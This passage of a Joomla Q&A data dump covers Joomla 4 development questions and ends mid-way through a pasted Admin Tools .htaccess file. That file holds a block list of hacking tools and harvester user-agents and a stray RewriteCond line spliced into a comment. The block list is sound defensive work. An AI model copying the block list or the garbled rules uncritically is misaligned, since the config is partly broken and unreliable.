  <row Id="33250" PostTypeId="2" ParentId="15330" CreationDate="2023-08-03T07:37:07.533" Score="0" Body="&lt;p&gt;Alexandr's solution is not longer working in Joomla 4, my approach is now by using webassets manager to include the script:&#xA;(default.php)&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;$wa = $this-&amp;gt;document-&amp;gt;getWebAssetManager();&#xA;$wa-&amp;gt;addInlineScript(&amp;quot;&#xA;    jQuery(document).ready(function(){&#xA;        jQuery('#toolbar-download').on('click', function(e){&#xA;            const taskField = document.querySelectorAll('[name=\&amp;quot;task\&amp;quot;]');&#xA;            taskField[0].value = '';&#xA;        });&#xA;    });&amp;quot;);&#xA;...&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;In the HtmlView.php adding the Button as follows:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;ToolbarHelper::custom('seasons.export', 'download', '', 'COM_YOURCOMPONENT_BTN_LABEL_EXPORT', true);&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Please note that #toolbar-download is the ID of your Export / Download Button.&lt;/p&gt;&#xA;&lt;p&gt;seasons.export is the method that should be called in your controller:&lt;/p&gt;&#xA;&lt;p&gt;SeasonsController.php&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;public function export()&#xA;    {&#xA;        $ids = $this-&amp;gt;input-&amp;gt;get('cid', [], 'array');&#xA;        error_log(print_r($ids, true));&#xA;        $model = $this-&amp;gt;getModel('seasons');&#xA;        $data  = $model-&amp;gt;exportItems($ids);&#xA;        $separator = &amp;quot;,&amp;quot;;&#xA;        $enclosure = &amp;quot;\&amp;quot;&amp;quot;;&#xA;        $escape = &amp;quot;\\&amp;quot;;&#xA;        $eol   = &amp;quot;\n&amp;quot;;&#xA;        $filename = 'seasons.csv';&#xA;        $headers  = array_keys($data[0]);&#xA;        $output   = fopen('php://output', 'wb');&#xA;        fputcsv($output, $headers, $separator, $enclosure, $escape, $eol);&#xA;        foreach ($data as $row)&#xA;        {&#xA;            fputcsv($output, $row);&#xA;        }&#xA;&#xA;        header('Content-Type: text/csv');&#xA;        header('Content-Disposition: attachment; filename=&amp;quot;' . $filename . '&amp;quot;');&#xA;        fclose($output);&#xA;&#xA;        exit;&#xA;    }&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;That way the download works and when changing afterwards the filter it won't trigger the download again.&lt;/p&gt;&#xA;" OwnerUserId="9407" LastActivityDate="2023-08-03T07:37:07.533" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33251" PostTypeId="1" CreationDate="2023-08-03T10:54:50.550" Score="1" ViewCount="93" Body="&lt;p&gt;After registration of a new user in the front-end, verification and activation emails are sent.&lt;/p&gt;&#xA;&lt;p&gt;However, my registration form uses user fields and I would like to include them in these emails.&lt;/p&gt;&#xA;&lt;p&gt;These emails can be easily updated via language overrides but I can't figure out how to add these user fields to the language overrides.&lt;/p&gt;&#xA;&lt;p&gt;In these language overrides, standard Joomla elements are shown as eg. {USERNAME}.&#xA;But how can a user field, eg. “contact”, be included?&lt;/p&gt;&#xA;" OwnerUserId="17231" LastActivityDate="2024-01-07T12:02:20.290" Title="Joomla 4 - user fields in activation email" Tags="|user-registration|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="33254" PostTypeId="2" ParentId="33246" CreationDate="2023-08-03T23:31:36.040" Score="0" Body="&lt;p&gt;These look like warnings rather than errors - Click System in the admin menu and check Global Configration &amp;gt; Server &amp;gt; Error Reporting. Set this to None. If the site is working as expected with these 'errors' displaying then setting error reporting to 'None' should in theory, hide them. I visited the URLs you provided but could not see the 'errors' in your screenshot.&lt;/p&gt;&#xA;" OwnerUserId="7973" LastActivityDate="2023-08-03T23:31:36.040" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33255" PostTypeId="1" CreationDate="2023-08-04T21:32:13.923" Score="0" ViewCount="112" Body="&lt;p&gt;I would like to create a plugin to load a specified template style for each article on Joomla 4. The basic idea is as follows:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Use a custom field in the article to specify the desired template style on a per-article basis.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Create a plugin so that whenever the article is loaded it is diplayed with its template, as specified in the custom field.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Based on &lt;a href=&quot;https://stackoverflow.com/questions/3269879/joomla-how-to-change-template-on-a-specific-article&quot;&gt;this post&lt;/a&gt; I understand that I need to create a system plugin for the onAfterInitialise event.&lt;/p&gt;&#xA;&lt;p&gt;Now I have a couple of questions regarding how to implement this in practice.&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;According to my understanding, the document itself is not loaded by the time the onAfterInitialise event is fired, which means that I would not be able to get the custom field's value directly at this point.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I should be able to get the article id from the the input object. Would it be feasible to do a database query to get the required template name, and then to set it also in the input object?&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Perhaps I am missing the boat completely and I need to use a different approach. The main point is that I would like to specify a template style for each article and to load the article with that template style - without having to create menu items for each article (of which there are many). Most of the articles will be accessed without menu items, so creating such menu items and using them to specify the template style is unnecessarily cumbersome.&lt;/p&gt;&#xA;&lt;p&gt;Thanks in advance for your assistance.&lt;/p&gt;&#xA;" OwnerUserId="17199" LastActivityDate="2024-01-06T14:00:25.600" Title="Joomla 4 plugin to set template style for article" Tags="|plugin|templates|joomla-4|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="33256" PostTypeId="2" ParentId="33149" CreationDate="2023-08-06T11:32:28.147" Score="0" Body="&lt;p&gt;I found after troubleshooting a Joomla 3 CLI application that was failing to work properly on Joomla 4 that if you use either:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Factory::getConfig();&#xA;Factory::getApplication()-&amp;gt;getConfig(); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;then you don't get what you expect. You just get a couple of parameters set:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;'cwd' - the working directory&lt;/li&gt;&#xA;&lt;li&gt;'execution' - timestamp&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;You don't get the global configuration parameters set in configuration.php.&lt;/p&gt;&#xA;&lt;p&gt;To get the parameters you have to do:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Factory::getContainer()-&amp;gt;get('config');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;which will return them properly. However, you may be using bits of Joomla library code which expects to call &lt;code&gt;$application-&amp;gt;getConfig()&lt;/code&gt; to get the parameters, and so these library routines will fail.&lt;/p&gt;&#xA;&lt;p&gt;(I found a problem with the mailer, as I wasn't setting the sender address in my code. In Joomla 3 it correctly picked the default sender details from the global config, but in Joomla 4 it didn't, and the email got sent with no sender. The receiving email service btinternet seemed to accept that ok, and the email got through, but gmail rejected it).&lt;/p&gt;&#xA;" OwnerUserId="11650" LastActivityDate="2023-08-06T11:32:28.147" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33257" PostTypeId="1" AcceptedAnswerId="33258" CreationDate="2023-08-07T10:54:03.380" Score="1" ViewCount="120" Body="&lt;p&gt;I would like to find the documentation for the Jooma 4 application object giving subclasses and methods, etc. I have looked hard on the Joomla.org website, but can't find it there. (It seems difficult to navigate that site in a logical way.)&lt;/p&gt;&#xA;&lt;p&gt;My immediate need is to get/set these two values:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Get the value of an article's custom field for use in a plugin;&lt;/li&gt;&#xA;&lt;li&gt;Set the template style to be used for displaying an article.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Any guidance would be appreciated, whether on navigating the Joomla 4 documentation or on accessing these particular values.&lt;/p&gt;&#xA;" OwnerUserId="17199" LastActivityDate="2023-08-08T14:10:03.503" Title="Documentation for Joomla 4 application object" Tags="|plugin|api|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33258" PostTypeId="2" ParentId="33257" CreationDate="2023-08-07T14:52:21.880" Score="2" Body="&lt;p&gt;Agreed - the documentation is rather haphazard!&lt;/p&gt;&#xA;&lt;p&gt;You can find classes and APIs at &lt;a href=&quot;https://api.joomla.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://api.joomla.org/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;There are 2 sides to the APIs:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;CMS - these relates to classes under libraries/src&lt;/li&gt;&#xA;&lt;li&gt;Framework - these relates to classes under libraries/vendor/joomla/src&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;There are a number of Application classes and the higher level ones are in the CMS side. You can follow the inheritance chain down to WebApplication, and you can see the methods available.&lt;/p&gt;&#xA;&lt;p&gt;WebApplication in turn inherits from AbstractWebApplication which is in the Framework side, and you can see the methods of it via the Framework APIs. Unfortunately the methods which AbstractWebApplication has aren't visible to the higher level classes on the CMS side - the documentation tool doesn't enable them to cross over.&lt;/p&gt;&#xA;&lt;p&gt;For custom fields you can find the value in the &lt;code&gt;jcfields&lt;/code&gt; variable of your article structure - see eg &lt;a href=&quot;https://docs.joomla.org/J3.x:Adding_custom_fields/Overrides/en&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J3.x:Adding_custom_fields/Overrides/en&lt;/a&gt;.  If you do a search for &amp;quot;joomla jcfields&amp;quot; you should find a number of web pages dealing with it.&lt;/p&gt;&#xA;&lt;p&gt;The template style for displaying an article is really on the menuitem, rather than the article. You can have the same article displayed in 2 different menuitems on your site and with different template styles. You can find some documentation on menuitems at this &lt;a href=&quot;https://docs.joomla.org/Menu_and_Menuitems_API_Guide&quot; rel=&quot;nofollow noreferrer&quot;&gt;Menus and Menuitems API Guide&lt;/a&gt;. The property you want is template_style_id.&lt;/p&gt;&#xA;&lt;p&gt;Update --------------------------------&lt;/p&gt;&#xA;&lt;p&gt;If you're looking to set the template style based on the article, then this is a suggested approach which I think will work.&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Define hidden menu items for each of the different template styles which you want to use.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Define a custom form field to capture the template style - this will involve writing a plugin similar to those in plugins/fields.&#xA;See &lt;a href=&quot;https://joomla.stackexchange.com/questions/33031/is-there-a-way-i-can-add-field-types-to-com-fields&quot;&gt;Is there a way I can add field types to com_fields?&lt;/a&gt; and &lt;a href=&quot;https://docs.joomla.org/Templatestyle_form_field_type&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Templatestyle_form_field_type&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a custom field to your Content items, and specify it as your template field above. This will allow you to set the template style for each article.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Write a system plugin that fires on onAfterRoute. The router will have set the menuitem in the Itemid &lt;a href=&quot;https://docs.joomla.org/Retrieving_request_data_using_JInput&quot; rel=&quot;nofollow noreferrer&quot;&gt;JInput&lt;/a&gt; field and Joomla will choose the template style based on this menuitem. Unfortunately (for you!) it does this before it renders the component, so you don't have the visibility of the component item, so you can't look at jcfields for example. (So if you wait until com_content is run and has retrieved the values, then it's too late to set the template style).&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;So in the plugin you have to check a number of things:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;that you're on the site &lt;code&gt;$application-&amp;gt;isClient('site')&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;that the JInput &lt;code&gt;option&lt;/code&gt; is &amp;quot;com_content&amp;quot;&lt;/li&gt;&#xA;&lt;li&gt;you may also want to check the &lt;code&gt;view&lt;/code&gt; etc&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Then you need to get the JInput &lt;code&gt;id&lt;/code&gt; and find the associated template style set for that article. To do this I would just do a database query around the content and various fields tables - you'd need to work out how Joomla stores the custom field values in those tables.&lt;/p&gt;&#xA;&lt;p&gt;Then you need to use the menuitems API to get the template_style_id for the Itemid which the router has set.&lt;/p&gt;&#xA;&lt;p&gt;If they don't match then you need to use the menuitems API to find the menuitem with the article's preferred template style. Then you'd need to &lt;a href=&quot;https://docs.joomla.org/Retrieving_request_data_using_JInput#Setting_Values&quot; rel=&quot;nofollow noreferrer&quot;&gt;set the JInput&lt;/a&gt; &lt;code&gt;Itemid&lt;/code&gt; based on that.&lt;/p&gt;&#xA;&lt;p&gt;As an alternative to defining a template style custom field, you could use a text dropdown for the various styles and set the &lt;code&gt;note&lt;/code&gt; field in the hidden menuitems to a particular style, and just match on that.&lt;/p&gt;&#xA;&lt;p&gt;By the way, when you're developing system plugins, then because they get read all the time, if you have any errors in them your Joomla admin might not start. If this occurs go into phpmyadmin, find your plugin in the extensions table and set the enabled column to 0.&lt;/p&gt;&#xA;" OwnerUserId="11650" LastEditorUserId="11650" LastEditDate="2023-08-08T14:10:03.503" LastActivityDate="2023-08-08T14:10:03.503" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="33259" PostTypeId="1" AcceptedAnswerId="33263" CreationDate="2023-08-08T07:50:44.257" Score="0" ViewCount="55" Body="&lt;p&gt;I'm updating a working J3 system where one menu item is an iframe wrapper which runs an external php program which needs to know the current user.&#xA;I've been updating the first part of this file to use the new J4 architecture. I've based it on app.php and the file starts like this...&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;define( '_JEXEC', 1 );&#xA;    &#xA;if (file_exists(dirname(__DIR__) . '/defines.php')) {&#xA;    include_once dirname(__DIR__) . '/defines.php';&#xA;}&#xA;&#xA;if (!defined('_JDEFINES')) {&#xA;    define('JPATH_BASE', dirname(__DIR__));&#xA;    require_once JPATH_BASE . '/includes/defines.php';&#xA;}&#xA;require_once JPATH_BASE . '/includes/framework.php';&#xA;&#xA;    $class_name             =  new \Joomla\CMS\Application\AdministratorApplication;&#xA;    $session_alias          = 'session.web';&#xA;    $session_suffix         = 'web.administrator';&#xA;    &#xA;// Boot the DI container&#xA;$container = \Joomla\CMS\Factory::getContainer();&#xA;&#xA;&#xA;//Alias the session service keys to the web session service as that is the primary session backend for this application&#xA; $container-&amp;gt;alias($session_alias, 'session.' . $session_suffix)&#xA;                -&amp;gt;alias('JSession', 'session.' . $session_suffix)&#xA;                -&amp;gt;alias(\Joomla\CMS\Session\Session::class, 'session.' . $session_suffix)&#xA;                -&amp;gt;alias(\Joomla\Session\Session::class, 'session.' . $session_suffix)&#xA;                -&amp;gt;alias(\Joomla\Session\SessionInterface::class, 'session.' . $session_suffix);&#xA;&#xA;&#xA;// Instantiate the application.&#xA;$app = $container-&amp;gt;get($class_name::class);&#xA;&#xA;// Set the application as global app&#xA;\Joomla\CMS\Factory::$application = $app;&#xA;&#xA;use Joomla\CMS\Factory;&#xA;$user = Factory::getUser();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The program then continues and does something useful!&lt;/p&gt;&#xA;&lt;p&gt;However I'm missing something obvious as at the end of this code, $user-&amp;gt;guest is 1 and $user-&amp;gt;name, etc are all blank.&lt;/p&gt;&#xA;&lt;p&gt;This implies that no one is logged in but I AM logged in the J! instance passing control to this file and this is confirmed by looking at the 'Session' section of the J! debug bar.&#xA;What am I missing to make this work?&lt;/p&gt;&#xA;" OwnerUserId="11377" LastActivityDate="2023-08-08T22:09:41.117" Title="Passing the current user to an external php file" Tags="|joomla-4.x|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="33260" PostTypeId="2" ParentId="33189" CreationDate="2023-08-08T08:08:49.590" Score="1" Body="&lt;p&gt;Alternative search engines for Joomla are also discussed in more detail here: &lt;a href=&quot;https://joomla.stackexchange.com/questions/32251/joomla-4-smart-search-extra-database-for-indexing-data&quot;&gt;Joomla 4 Smart Search: Extra database for indexing data&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13058" LastActivityDate="2023-08-08T08:08:49.590" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33261" PostTypeId="2" ParentId="33165" CreationDate="2023-08-08T15:05:09.407" Score="1" Body="&lt;p&gt;How was the migration done? It seems to have been manual. Joomla 3 will not create proper links if the category menu items were not manually created - this means that you the menu items that you had in Joomla 3 no longer exist in Joomla 4, meaning that those weren't ported. I believe the proper solution to this problem is to either remigrate the website automatically, or recreate all the menu items in Joomla 4.&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2023-08-08T15:05:09.407" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33262" PostTypeId="1" AcceptedAnswerId="33286" CreationDate="2023-08-08T16:30:31.583" Score="0" ViewCount="56" Body="&lt;p&gt;I have updated a website from Joomla 3 to Joomla 4 on my local machine.&#xA;When I upload it all the main menu items are shown on the frontend with the HREF fields empty.&lt;/p&gt;&#xA;&lt;p&gt;I can't understand why this is happening.&#xA;On my local machine, everything works fine.&lt;/p&gt;&#xA;&lt;p&gt;If I open a menu item in the menu manager and copy its URL and add it to the homepage link the subpage opens correctly.&lt;/p&gt;&#xA;&lt;p&gt;I lost a couple of hours trying to understand the cause.&lt;/p&gt;&#xA;&lt;p&gt;Do you have any idea of what can be the cause of this issue?&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/9g74Y.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/9g74Y.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Diving deep into the problem and debugging the JRoute, that returns null just in production.&#xA;I'm debugging this file:&#xA;/libraries/src/Router/Route.php&lt;/p&gt;&#xA;&lt;p&gt;If I make a dump of the error thrown I see:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/OvUMB.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/OvUMB.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="17240" LastEditorUserId="17240" LastEditDate="2023-08-09T05:44:33.453" LastActivityDate="2023-08-11T16:51:57.047" Title="Href properties of the main menu items are empty just on the live site" Tags="|joomla-4.x|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33263" PostTypeId="2" ParentId="33259" CreationDate="2023-08-08T22:09:41.117" Score="0" Body="&lt;p&gt;You need to call the Site, front-end, instance of the Joomla application and then it will use the front end session details of the logged in user.&lt;/p&gt;&#xA;&lt;p&gt;Replace these lines in your code.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt; $class_name = new \Joomla\CMS\Application\SiteApplication;&#xA; $session_alias = 'session.web';&#xA; $session_suffix = 'web.site';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2023-08-08T22:09:41.117" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33264" PostTypeId="1" CreationDate="2023-08-09T00:20:26.260" Score="0" ViewCount="75" Body="&lt;p&gt;I've migrated a J3 site to J4 and have an issue with article URL's. In J3 an article would load /category/article i.e. &lt;a href=&quot;https://old.lymington.com/133-locally/1458-a-guide-to-beaches-near-lymington-and-the-new-forest&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://old.lymington.com/133-locally/1458-a-guide-to-beaches-near-lymington-and-the-new-forest&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;There was a hidden menu item for 'Articles &amp;gt; List All Categories' with the alias 'lymington' which was put in place in J3 to enable these direct links (I believe many years back this was necessary to get the clean SEF URL's on articles). So the article does also load on &lt;a href=&quot;https://old.lymington.com/lymington/133-locally/1458-a-guide-to-beaches-near-lymington-and-the-new-forest&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://old.lymington.com/lymington/133-locally/1458-a-guide-to-beaches-near-lymington-and-the-new-forest&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;On J4 I have tried everything I can think of, including the direct alias plugin, to try and load the URL's as &lt;a href=&quot;https://www.lymington.com/133-locally/1458-a-guide-to-beaches-near-lymington-and-the-new-forest&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.lymington.com/133-locally/1458-a-guide-to-beaches-near-lymington-and-the-new-forest&lt;/a&gt; without the hidden menu item alias i.e. &lt;a href=&quot;https://www.lymington.com/lymington/133-locally/1458-a-guide-to-beaches-near-lymington-and-the-new-forest&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.lymington.com/lymington/133-locally/1458-a-guide-to-beaches-near-lymington-and-the-new-forest&lt;/a&gt; but the url without the menu alias included always returns a 404. I can't seem to remove the /lymington/ hidden menu alias from the URL.&lt;/p&gt;&#xA;&lt;p&gt;Disabling the hidden menu category item gives a URL such as &lt;a href=&quot;https://lymington.com/lymington-life/locally?view=article&amp;amp;id=1458:a-guide-to-beaches-near-lymington-and-the-new-forest&amp;amp;catid=133&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://lymington.com/lymington-life/locally?view=article&amp;amp;id=1458:a-guide-to-beaches-near-lymington-and-the-new-forest&amp;amp;catid=133&lt;/a&gt; which is clearly not SEF.&lt;/p&gt;&#xA;&lt;p&gt;I'm sure I must be missing something somewhere obvious. Maybe it's a can't see the wood for the trees situation?&lt;/p&gt;&#xA;&lt;p&gt;Is there anyway around this? I understand the URL router works differently in J4 but surely there is a solution? As it stands, it's not very SEO friendly.&lt;/p&gt;&#xA;&lt;p&gt;My current .htaccess is below:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;### ===========================================================================&#xA;### Security Enhanced &amp;amp; Highly Optimized .htaccess File for Joomla!&#xA;### automatically generated by Admin Tools 6.1.4 on 2023-07-07 08:33:32 BST&#xA;### Auto-detected Apache version: 2.0 (best guess)&#xA;### ===========================================================================&#xA;###&#xA;### The contents of this file are based on the same author's work &amp;quot;Master&#xA;### .htaccess&amp;quot;.&#xA;###&#xA;### Admin Tools is Free Software, distributed under the terms of the GNU&#xA;### General Public License version 3 or, at your option, any later version&#xA;### published by the Free Software Foundation.&#xA;###&#xA;### !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! IMPORTANT !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!&#xA;### !!                                                                       !!&#xA;### !!  If you get an Internal Server Error 500 or a blank page when t&#xA;RewriteCond %{THE_REQUEST} ^[A-Z]+\ /some/subdir/projects[/?\s]rying  !!&#xA;### !!  to access your site, remove this file and try tweaking its settings  !!&#xA;### !!  in the back-end of the Admin Tools component.                        !!&#xA;### !!                                                                       !!&#xA;### !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!&#xA;###&#xA;&#xA;##### RewriteEngine enabled - BEGIN&#xA;RewriteEngine On&#xA;##### RewriteEngine enabled - END&#xA;&#xA;##### RewriteBase set - BEGIN&#xA;RewriteBase /&#xA;##### RewriteBase set - END&#xA;&#xA;RewriteRule !^news(/|$) lymington%{REQUEST_URI} [L]&#xA;RewriteRule ^news/?([^/].+)?$ /lymington/$1 [L,R=301]&#xA;&#xA;##### Remove /lymington/ menu alias from url&#xA;RewriteRule ^lymington/(.*)$ $1&#xA;&#xA;##### Custom Rules (Top of File) -- BEGIN&#xA;&amp;lt;IfModule LiteSpeed&amp;gt;&#xA;    CacheLookup on&#xA;&amp;lt;/IfModule&amp;gt;&#xA;##### Custom Rules (Top of File) -- END&#xA;&#xA;##### File execution order -- BEGIN&#xA;DirectoryIndex index.php index.html&#xA;##### File execution order -- END&#xA;&#xA;##### No directory listings -- BEGIN&#xA;IndexIgnore *&#xA;Options -Indexes&#xA;##### No directory listings -- END&#xA;&#xA;##### Common hacking tools and bandwidth hoggers block -- BEGIN&#xA;SetEnvIf user-agent &amp;quot;(?i:WebBandit)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:webbandit)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:Acunetix)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:binlar)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:BlackWidow)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:Bolt 0)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:Bot mailto:craftbot@yahoo.com)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:BOT for JCE)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:casper)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:checkprivacy)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:ChinaClaw)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:clshttp)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:cmsworldmap)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:comodo)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:Custo)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:Default Browser 0)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:diavol)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:DIIbot)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:DISCo)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:dotbot)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:Download Demon)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:eCatch)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:EirGrabber)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:EmailCollector)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:EmailSiphon)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:EmailWolf)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:Express WebPictures)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:extract)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:ExtractorPro)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:EyeNetIE)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:feedfinder)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:FHscan)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:FlashGet)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:flicky)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:GetRight)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:GetWeb!)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:Go-Ahead-Got-It)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:Go!Zilla)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:grab)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:GrabNet)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:Grafula)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:harvest)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:HMView)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:ia_archiver)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:Image Stripper)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:Image Sucker)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:InterGET)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:Internet Ninja)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:InternetSeer.com)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:jakarta)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:Java)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:JetCar)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:JOC Web Spider)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:kmccrew)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:larbin)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:LeechFTP)&amp;quot; stayout=1&#xA;SetEnvIf user-agent &amp;quot;(?i:libwww)&amp;quot; 